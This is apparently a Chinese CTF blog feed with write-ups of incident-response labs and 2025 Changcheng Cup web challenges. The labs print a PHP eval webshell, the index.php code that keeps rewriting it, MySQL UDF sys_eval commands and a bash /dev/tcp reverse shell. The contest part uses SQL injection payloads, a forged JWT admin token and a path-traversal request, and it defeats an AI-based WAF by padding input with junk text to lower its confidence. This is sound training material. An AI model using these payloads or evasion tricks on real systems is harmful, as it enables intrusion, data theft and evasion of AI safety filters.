 Aug  1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2
 Aug  1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2
 Aug  1 07:47:26 linux-rz sshd[7525]: Failed password for invalid user  from 192.168.200.2 port 37013 ssh2
 Aug  1 07:47:30 linux-rz sshd[7528]: Failed password for invalid user  from 192.168.200.2 port 37545 ssh2
 Aug  1 07:47:32 linux-rz sshd[7530]: Failed password for invalid user  from 192.168.200.2 port 39111 ssh2
 Aug  1 07:47:35 linux-rz sshd[7532]: Failed password for invalid user  from 192.168.200.2 port 35173 ssh2
 Aug  1 07:47:39 linux-rz sshd[7534]: Failed password for invalid user  from 192.168.200.2 port 45807 ssh2
 Aug  1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;东西太多了，我们用命令匹配一下，要匹配for和form之间的字符&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat auth.log.1|grep -a &quot;Failed password&quot;| grep -o &apos;for .* from&apos;|sort -nr|uniq -c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;      6 for root from
      5 for invalid user user from
      1 for invalid user test3 from
      1 for invalid user test2 from
      1 for invalid user test1 from
      5 for invalid user hello from
      5 for invalid user  from
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么就得到字典&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{root,user,hello,test3,test2,test1}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看来是顺序不对啊，这个顺序问题也太怪了，不得不吐槽的问题,那可能就是要原始的顺序把&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat auth.log.1|grep -a &quot;Failed password&quot;| grep -o &apos;for .* from&apos;|uniq -c|sort -nr
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出   5 for invalid user user from&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;      5 for invalid user hello from
      5 for invalid user  from
      4 for root from
      1 for root from
      1 for root from
      1 for invalid user test3 from
      1 for invalid user test2 from
      1 for invalid user test1 from
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag就为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{user,hello,root,test3,test2,test1}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.登陆成功的IP共爆破了多少次&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;cat auth.log.1|grep -a &quot;192.168.200.2&quot; | grep &quot;for root&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4次,flag{4}&lt;/p&gt;
&lt;h3&gt;5.黑客登陆主机后新建了一个后门用户，用户名是多少&lt;/h3&gt;
&lt;p&gt;直接登/etc/passwd看，发现是test2，直接找也可以&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat auth.log.1|grep -a &quot;new user&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Aug  1 07:50:45 linux-rz useradd[7551]: new user: name=test2, UID=1000, GID=1000, home=/home/test2, shell=/bin/sh
Aug  1 08:18:27 ip-172-31-37-190 useradd[487]: new user: name=debian, UID=1001, GID=1001, home=/home/debian, shell=/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag{test2}&lt;/p&gt;
&lt;h1&gt;第一章 应急响应- Linux入侵排查&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;1.web目录存在木马，请找到木马的密码提交
2.服务器疑似存在不死马，请找到不死马的密码提交
3.不死马是通过哪个文件生成的，请提交文件名
4.黑客留下了木马文件，请找出黑客的服务器ip提交
5.黑客留下了木马文件，请找出黑客服务器开启的监端口提交
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1.web目录存在木马，请找到木马的密码提交&lt;/h2&gt;
&lt;p&gt;连上之后把html文件夹下载，用d盾扫，有个1.php，直接交&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{1}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2.服务器疑似存在不死马，请找到不死马的密码提交&lt;/h2&gt;
&lt;p&gt;存在不死马，用&lt;code&gt;ls -al&lt;/code&gt;直接找到&lt;code&gt;.shell.php&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(md5($_POST[&quot;pass&quot;])==&quot;5d41402abc4b2a76b9719d911017c592&quot;){@eval($_POST[cmd]);}?&amp;gt;

解密既是flag
flag{hello}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3.不死马是通过哪个文件生成的，请提交文件名&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;.shell.php&lt;/code&gt;没有看到不死马循环写入特征，查看index.php&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
include(&apos;config.php&apos;);
include(SYS_ROOT.INC.&apos;common.php&apos;);
$path=$_SERVER[&apos;PATH_INFO&apos;].($_SERVER[&apos;QUERY_STRING&apos;]?&apos;?&apos;.str_replace(&apos;?&apos;,&apos;&apos;,$_SERVER[&apos;QUERY_STRING&apos;]):&apos;&apos;);
if(substr($path, 0,1)==&apos;/&apos;){
    $path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET[&apos;action&apos;])?$_GET[&apos;action&apos;]:&apos;run&apos;;
if(isset($_GET[&apos;createprocess&apos;]))
{
    Index::createhtml(isset($_GET[&apos;id&apos;])?$_GET[&apos;id&apos;]:0,$_GET[&apos;cat&apos;],$_GET[&apos;single&apos;]);
}else{
    Index::run($path);
}
$file = &apos;/var/www/html/.shell.php&apos;;
$code = &apos;&amp;lt;?php if(md5($_POST[&quot;pass&quot;])==&quot;5d41402abc4b2a76b9719d911017c592&quot;){@eval($_POST[cmd]);}?&amp;gt;&apos;;
file_put_contents($file, $code);
system(&apos;touch -m -d &quot;2021-01-01 00:00:01&quot; .shell.php&apos;);
usleep(3000);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里将文件名设置成.shell.php，利用密码改为md5加密，时间改为先前的（都是让管理员查不到该木马）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{index.php}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4.黑客留下了木马文件，请找出黑客的服务器ip提交&lt;/h2&gt;
&lt;p&gt;寻找黑客IP，看一下登录日志&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &quot;shell.php&quot; /var/log/auth.log.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在靶机里，可以直接运行恶意文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod +x &apos;shell(1).elf&apos;
./&apos;shell(1).elf&apos;
netstat -alntup

tcp        0      1 192.168.1.130:49774     10.11.55.21:3333        SYN_SENT
flag{10.11.55.21}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以逆向&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void start()
{
  int n10; // esi
  int v1; // eax
  int n2_1; // ebx
  int v4; // eax
  struct timespec req_; // [esp-24h] [ebp-24h] BYREF
  unsigned int args[3]; // [esp-1Ch] [ebp-1Ch] BYREF
  int n84738050; // [esp-10h] [ebp-10h] BYREF
  int n2; // [esp-Ch] [ebp-Ch]
  int v9; // [esp-8h] [ebp-8h]
  int v10; // [esp-4h] [ebp-4h]

  n10 = 10;
  while ( 1 )
  {
    v10 = 0;
    v9 = 1;
    n2 = 2;
    v1 = sys_exit(1);
    n2_1 = n2;
    n2 = 355928842;
    n84738050 = 84738050;
    args[2] = 102;
    args[1] = (unsigned int)&amp;amp;n84738050;
    args[0] = v1;
    if ( sys_socket(n2_1 + 1, args) &amp;gt;= 0 )
      break;
    if ( --n10 )
    {
      req_.tv_nsec = 0;
      req_.tv_sec = 5;
      if ( sys_nanosleep(&amp;amp;req_, 0) &amp;gt;= 0 )
        continue;
    }
    goto LABEL_9;
  }
  if ( sys_exit((unsigned int)args &amp;amp; 0xFFFFF000) &amp;gt;= 0 &amp;amp;&amp;amp; sys_exit(args[0]) &amp;gt;= 0 )
    __asm { jmp     ecx }
LABEL_9:
  v4 = sys_exit(1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.黑客留下了木马文件，请找出黑客服务器开启的监端口提交&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;flag{3333}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;第一章 日志分析-Mysql 应急响应&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;1.黑客第一次写入的shell flag{关键字符串} 
2.黑客反弹shell的ip flag{ip}
3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
4.黑客获取的权限 flag{whoami后的值}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1.黑客第一次写入的shell flag{关键字符串}&lt;/h2&gt;
&lt;p&gt;把文件放D盾里面，有个sh.php，里面有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//ccfda79e-7aa1-4275-bc26-a6189eb9a20b

flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2.黑客反弹shell的ip flag{ip}&lt;/h2&gt;
&lt;p&gt;查看/var/log/apache2/access.log，看到sys_eval，说明是udf提权&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;520 192.168.200.2 - - [01/Aug/2023:02:17:09 +0000] &quot;POST /sh.php HTTP/1.1&quot; 200 470 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; fr) Presto/2.7.62 Version/11.01&quot;
521 192.168.200.2 - - [01/Aug/2023:02:17:10 +0000] &quot;POST /sh.php HTTP/1.1&quot; 200 209 &quot;-&quot; &quot;Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0&quot;
522 192.168.200.2 - - [01/Aug/2023:02:17:37 +0000] &quot;POST /adminer.php?username=root&amp;amp;sql=select%20sys_eval(%27ls%20-la%20%2Ftmp%2F%27)%3B HTTP/1.1&quot; 200 4116 &quot;http://192.168.200.31:8005/adminer.php?username=root&amp;amp;sql=select%20sys_eval(%27bash%20%2Ftmp%2F1.sh%27)%3B&quot; &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0&quot;
523 192.168.200.2 - - [01/Aug/2023:02:18:18 +0000] &quot;POST /adminer.php?username=root&amp;amp;sql=select%20sys_eval(%27echo%20YmFzaCAtaSA%2BJi9kZXZidGNwLzE5Mi40NjguMTAwLjEzNy4wPiYx%7Cbase64%20-d%27)%3B HTTP/1.1&quot; 200 4025 &quot;http://192.168.200.31:8005/adminer.php?username=root&amp;amp;sql=select%20sys_eval(%27ls%20-la%20%2Ftmp%2F%27)%3B&quot; &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0&quot;
524 192.168.200.2 - - [01/Aug/2023:02:18:27 +0000] &quot;POST /adminer.php?username=root&amp;amp;sql=select%20sys_eval(%27echo%20YmFzaCAtaSA%2BJi9kZXZidGNwLzE5Mi40NjguMTAwLjEzNy4wPiYx%7Cbase64%20-d%3E%2Ftmp%2F1.sh%27)%3B HTTP/1.1&quot; 200 4023 &quot;http://192.168.200.31:8005/adminer.php?username=root&amp;amp;sql=select%20sys_eval(%27echo%20YmFzaCAtaSA%2BJi9kZXZidGNwLzE5Mi40NjguMTAwLjEzNy4wPiYx%7Cbase64%20-d%27)%3B&quot; &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0&quot;
525 192.168.200.2 - - [01/Aug/2023:02:18:37 +0000] &quot;POST /adminer.php?username=root&amp;amp;sql=select%20sys_eval(%27ls%20-la%20%2Ftmp%2F1.sh%27)%3B HTTP/1.1&quot; 200 4029 &quot;http://192.168.200.31:8005/adminer.php?username=root&amp;amp;sql=select%20sys_eval(%27echo%20YmFzaCAtaSA%2BJi9kZXZidGNwLzE5Mi40NjguMTAwLjEzNy4wPiYx%7Cbase64%20-d%3E%2Ftmp%2F1.sh%27)%3B&quot; &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0&quot;
526 192.168.200.2 - - [01/Aug/2023:02:19:07 +0000] &quot;POST /adminer.php?username=root&amp;amp;sql=select%20sys_eval(%27bash%20%2Ftmp%2F1.sh%27)%3B HTTP/1.1&quot; 200 4014 &quot;http://192.168.200.31:8005/adminer.php?username=root&amp;amp;sql=select%20sys_eval(%27ls%20-la%20%2Ftmp%2F1.sh%27)%3B&quot; &quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续看 Mysql 的报错日志，路径如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/var/log/mysql/error.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;日志中有个脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/tmp/1.sh: line 1: --2023-08-01: command not found
/tmp/1.sh: line 2: Connecting: command not found
/tmp/1.sh: line 3: HTTP: command not found
/tmp/1.sh: line 4: Length:: command not found
/tmp/1.sh: line 5: Saving: command not found
/tmp/1.sh: line 7: 0K: command not found
/tmp/1.sh: line 9: syntax error near unexpected token `(&apos;
/tmp/1.sh: line 9: `2023-08-01 02:16:35 (5.01 MB/s) - &apos;1.sh&apos; saved [43/43]&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看1.sh，反弹shell的命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash -i &amp;gt;&amp;amp;/dev/tcp/192.168.100.13/777 0&amp;gt;&amp;amp;1

flag{192.168.100.13}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx&lt;/h2&gt;
&lt;h3&gt;寻找提权文件&lt;/h3&gt;
&lt;p&gt;Mysql的提权方式有四种&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;UDF 提权&lt;/li&gt;
&lt;li&gt;MOF 提权&lt;/li&gt;
&lt;li&gt;启动项提权&lt;/li&gt;
&lt;li&gt;CVE-2016-6663&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;基于目前的环境我们可以排除 MOF 提权（Windows 下可利用），启动项提权（Windows 下可利用），而 CVE-2016-6663 需要 MariaDB &amp;lt;= 5.5.51 或 10.0.x &amp;lt;= 10.0.27 或 10.1.x &amp;lt;= 10.1.17，而我们环境的 MariaDB 版本为 5.5.64，不在此漏洞的影响版本内，也可以排除掉&lt;/p&gt;
&lt;p&gt;所以目前只剩 UDF 提权一种方法，我们只需排查这个提权方式即可，UDF 提权是基于自定义函数实现的，而自定义函数的前提是 UDF 的动态链接库文件放置于 MySQL 安装目录下的lib\plugin文件夹，故我们需要登录 Mysql 对 plugin 关键字进行排查&lt;/p&gt;
&lt;p&gt;一般来说，在/etc/mysql/my.cnf会保存 Mysql 的登录密码，但是本关在这里并没有找到密码&lt;/p&gt;
&lt;p&gt;在网站目录下存在一个common.php，里面有mysql的账密&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/var/www/html/common.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql -uroot -p334cc35b3c704593
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后对 plugin 关键词进行排查，显示所有与 plugin 相关的系统变量&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;show variables like &apos;%plugin%&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现一个有效变量为plugin_dir，value值就是其路径&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/lib/mysql/plugin/udf.so
flag{b1818bde4e310f3d23f1005185b973e7}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里总结一下,UDF提权使用的文件是&lt;code&gt;/usr/lib/Mysql/plugin/udf.so&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;4.黑客获取的权限 flag{whoami后的值}&lt;/h2&gt;
&lt;p&gt;第五章&lt;/p&gt;
&lt;p&gt;使用ps -aux命令查看进程的详细信息，可以看到提权文件的运行后的权限为mysql，故 Flag 为 mysql&lt;/p&gt;
&lt;p&gt;法二:udf提权&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql -uroot -p334cc35b3c704593
select * from mysql.func;
select sys_eval(&quot;whoami&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;第一章 日志分析-Apache 日志分析&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;1、提交当天访问次数最多的IP，即黑客IP：
2、黑客使用的浏览器指纹是什么，提交指纹的md5：
3、查看包含index.php页面被访问的次数，提交次数：
4、查看黑客IP访问了多少次，提交次数：
5、查看2023年8月03日8时这一个小时内有多少IP访问，提交次数:
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1、提交当天访问次数最多的IP，即黑客IP：&lt;/h2&gt;
&lt;p&gt;登录靶机，我们的目的是分析 Apache 的日志，Apache+Linux 日志路径一般是以下三种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/var/log/apache/access.log&lt;/li&gt;
&lt;li&gt;/var/log/apache2/access.log&lt;/li&gt;
&lt;li&gt;/var/log/httpd/access.log&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;看第一位的ip&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat access.log.1 | awk &apos;{print $1}&apos; | sort | uniq -c

flag{192.168.200.2}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2、黑客使用的浏览器指纹是什么，提交指纹的md5：&lt;/h2&gt;
&lt;p&gt;指纹就是UA头&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat access.log.1 | grep -Ea &quot;192.168.200.2&quot;| sort | uniq -c
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

flag{2d6330f380f44ac20f3a02eed0958f66}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3、查看包含index.php页面被访问的次数，提交次数：&lt;/h2&gt;
&lt;p&gt;计数已经计算不出来了，这里我们计算行数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat access.log.1 | grep -Ea &quot;/index.php&quot;| sort | wc -l

flag{27}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4、查看黑客IP访问了多少次，提交次数：&lt;/h2&gt;
&lt;p&gt;这里要注意&quot;192.168.200.2 - -若&quot;192.168.200.2&quot;则会把2xx后面的ip计入数据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat access.log.1 | grep -Ea &quot;192.168.200.2 - -&quot;| wc -l

flag{6555}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5、查看2023年8月03日8时这一个小时内有多少IP访问，提交次数:&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;cat access.log.1 | grep -Ea &quot;^[0-9]+.*+03/Aug/2023:(08|09)&quot;|awk &apos;{print $1}&apos;| uniq -c | wc -l

flag{5}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>2025-长城杯-web</title><link>https://origin618.github.io/posts/2025-%E9%95%BF%E5%9F%8E%E6%9D%AF-web/</link><guid isPermaLink="true">https://origin618.github.io/posts/2025-%E9%95%BF%E5%9F%8E%E6%9D%AF-web/</guid><description>2025-长城杯-web</description><pubDate>Wed, 31 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;WEB&lt;/h1&gt;
&lt;h2&gt;AI_WAF&lt;/h2&gt;
&lt;p&gt;开局一个搜索框，我们随便提交一下信息捉包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228182953936-1766929152577-1.png&quot; alt=&quot;image-20251228182953936&quot; /&gt;&lt;/p&gt;
&lt;p&gt;有个query:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228183029453-1766929152578-4.png&quot; alt=&quot;image-20251228183029453&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尝试单引号闭合，发现这里有注入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228183104490-1766929152578-2.png&quot; alt=&quot;image-20251228183104490&quot; /&gt;&lt;/p&gt;
&lt;p&gt;尝试注入，发现有ai判断&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228183232613-1766929152578-15.png&quot; alt=&quot;image-20251228183232613&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们这里尝试输入无意义长文段干扰ai判断，使得confidence下降值我们能够注入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228183657837-1766929152578-3.png&quot; alt=&quot;image-20251228183657837&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功绕过&lt;/p&gt;
&lt;p&gt;下面就是常规sql注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-1&apos;union select 1,database(),3  --
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228183859895-1766929152578-26.png&quot; alt=&quot;image-20251228183859895&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到nexadata&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-1&apos;union select 1,group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema = &apos;nexadata&apos; -- 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228184001195-1766929152578-10.png&quot; alt=&quot;image-20251228184001195&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到article,where_is_my_flagggggg&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-1&apos;union select 1,group_concat(column_name), 3 FROM information_schema.columns WHERE table_name = &apos;where_is_my_flagggggg&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228184037540-1766929152578-5.png&quot; alt=&quot;image-20251228184037540&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到Th15_ls_f149&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-1&apos;union select 1,group_concat(Th15_ls_f149), 3 FROM where_is_my_flagggggg 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228184102353-1766929152578-6.png&quot; alt=&quot;image-20251228184102353&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{f5312cd1-722b-4966-bfb8-9a8cbb400a40}&lt;/p&gt;
&lt;h2&gt;Deprecated&lt;/h2&gt;
&lt;p&gt;https://asal1n.github.io/2025/05/04/2025%20CCB%20final/index.html&lt;/p&gt;
&lt;p&gt;这里是去年长城杯final原题&lt;/p&gt;
&lt;p&gt;我们注册两个账号，分别取出其session&lt;/p&gt;
&lt;p&gt;eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyIiwicHJpdmlsZWRnZSI6IlRlbXAgVXNlciIsImlhdCI6MTc2NjkxODcxM30.smlS5ce8-nub0S-eDJZZO_cxbIzV0UBKGCH0gHkXjNiBVBGE69ddt2J8ZXQWButMllKvKXc8z-G2RAz-IUr_dguWMsr21mZY-p0xkutVxo3w5BIvMInMDDzeE3nJpK6jkF84etm4DtiwqqYVAtIghVfVktzcbIQjJVEEM1wwPZU&lt;/p&gt;
&lt;p&gt;eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyIsInByaXZpbGVkZ2UiOiJUZW1wIFVzZXIiLCJpYXQiOjE3NjY5MTg3MzF9.aMrfucnb7VlcwIeFfXIZaxe22HyIOZQkBDSsRxAKxdSR84gbsCL4n3N1DGUTWPDYLiQO-qFbkSh7dF37lUilCYuv647_g1y2l9YM6VsqYL6y8qT6_Ea53VcnLM_slGlae7TEUwfhSsstUMSqLZkYC1qx-aVjGJvQ53qqpLs-MQ8&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/silentsignal/rsa_sign2n/tree/release&quot;&gt;silentsignal/rsa_sign2n: Deriving RSA public keys from message-signature pairs&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我们从这里下载脚本，通过脚本解密&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228184804954-1766929152578-7.png&quot; alt=&quot;image-20251228184804954&quot; /&gt;&lt;/p&gt;
&lt;p&gt;生成了两个文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228185710232-1766929152578-8.png&quot; alt=&quot;image-20251228185710232&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里我们用e39595edbb089f70_65537_x509.pem&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const jwt = require(&apos;jsonwebtoken&apos;);
const fs = require(&apos;fs&apos;);
const publicKey  = fs.readFileSync(&apos;./e39595edbb089f70_65537_x509.pem&apos;, &apos;utf8&apos;);
data={
    username: &quot;admin&quot;, priviledge:&apos;File-Priviledged-User&apos;
}
data = Object.assign(data);
console.log( jwt.sign(data, publicKey, { algorithm:&apos;HS256&apos;}))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到新的session&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228185804613-1766929152578-13.png&quot; alt=&quot;image-20251228185804613&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们hackbar将老session替换&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228185846070-1766929152578-9.png&quot; alt=&quot;image-20251228185846070&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成为admin用户&lt;/p&gt;
&lt;p&gt;然后我们捉包，将大佬文章里的exp直接打&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /checkfile?file[]=&amp;amp;file[]=&amp;amp;file[]=&amp;amp;file[]=&amp;amp;file[]=&amp;amp;file[]=&amp;amp;file[]=&amp;amp;file[]=&amp;amp;file[]=&amp;amp;file[]=../../../../../../../../flag.txt&amp;amp;file[]=.&amp;amp;file[]=log&amp;amp; HTTP/2
Host: eci-2ze524ik705ih2la1l9i.cloudeci1.ichunqiu.com:8080
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1766199268; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicHJpdmlsZWRnZSI6IkZpbGUtUHJpdmlsZWRnZWQtVXNlciIsImlhdCI6MTc2NjkxOTEzN30.DpNIf5ZS2gI-7ASL-_Q4lAKT_fkzUr-wGStE6uhbUSM
Sec-Ch-Ua: &quot;Not)A;Brand&quot;;v=&quot;8&quot;, &quot;Chromium&quot;;v=&quot;138&quot;, &quot;Microsoft Edge&quot;;v=&quot;138&quot;
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: &quot;Windows&quot;
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Priority: u=0, i
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228185327828-1766929152578-11.png&quot; alt=&quot;image-20251228185327828&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{b7685b18-397c-4138-ae78-660370596d18}&lt;/p&gt;
&lt;h2&gt;hellogate&lt;/h2&gt;
&lt;p&gt;开局一张图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228190040255-1766929152578-12.png&quot; alt=&quot;image-20251228190040255&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ctrl+u查看源代码未果，我们直接访问&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;view-source:https://eci-2zea4i7m0byk99nsece3.cloudeci1.ichunqiu.com:80/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拉到尾部发现是一道php反序列化&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251228190154115-1766929152578-17.png&quot; alt=&quot;image-20251228190154115&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);
class A {
    public $handle;
    public function triggerMethod() {
